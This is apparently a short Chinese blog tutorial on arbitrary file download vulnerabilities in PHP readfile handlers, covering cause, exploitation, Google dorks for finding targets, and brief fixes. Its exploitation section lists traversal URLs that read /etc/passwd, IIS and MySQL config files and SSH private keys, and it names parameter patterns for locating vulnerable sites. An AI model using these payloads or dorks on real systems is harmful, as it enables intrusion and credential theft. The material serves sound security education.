浅谈任意文件下载漏洞

01 漏洞描述

某些网站可能因为业务需要,提供文件查看或者下载的功能,如果对用户查看或者需要下载的文件不做限制,那么一些攻击者可能构造恶意代码下载网站的敏感文件(源代码,数据库文件,登录密码等)

02 漏洞危害

理论上只要代码构造的好可以下载服务器的任何文件(代码脚本,服务器配置文件,数据库文件等),用得到的代码进行审计,那么这个网站的漏洞就彻底暴露了。

03 漏洞产生

附上源代码~

图是从别人那盗来的,不过这都不重要,现在来分析下。通过GET传值传进来一个file,然后是对file的定义,最后直接readfile,这中间没有对传进来的file进行判断,所以导致漏洞的发生。

04 漏洞利用

http://www.test.cn/readfile.php?file=/etc/passwd    //下载主机密码文件

http://www.test.cn/readfile.php?file=../index.php&path=C:\Windows\System32\inetsrv\MetaBase.xml      //IIS配置文件

http://www.test.cn/readfile.php?file=../../../readfile.php&path=C:\Program20%Files\mysql\my.ini               //Mysql配置文件

http://www.test.cn/readfile.php?file= /root/.ssh/id_rsa               //SSH密钥

05 漏洞搜索

可以用Google Hack或者url采集器采集目标

inurl : readfile.php?file=

inurl : download.php?file=

从参数名上看,大致是这些:

&RealPath=

&FilePath=

&filepath=

&Path=

&path=

&inputFile=

&url=

&Lang=

&dis=

&data=

&readfile=

&src


06 漏洞修复

过滤".",使用户在url中不能回溯上级目录

正则严格判断用户输入参数的格式

php.ini配置open_basedir限定文件访问范围

你可能感兴趣的:(浅谈任意文件下载漏洞)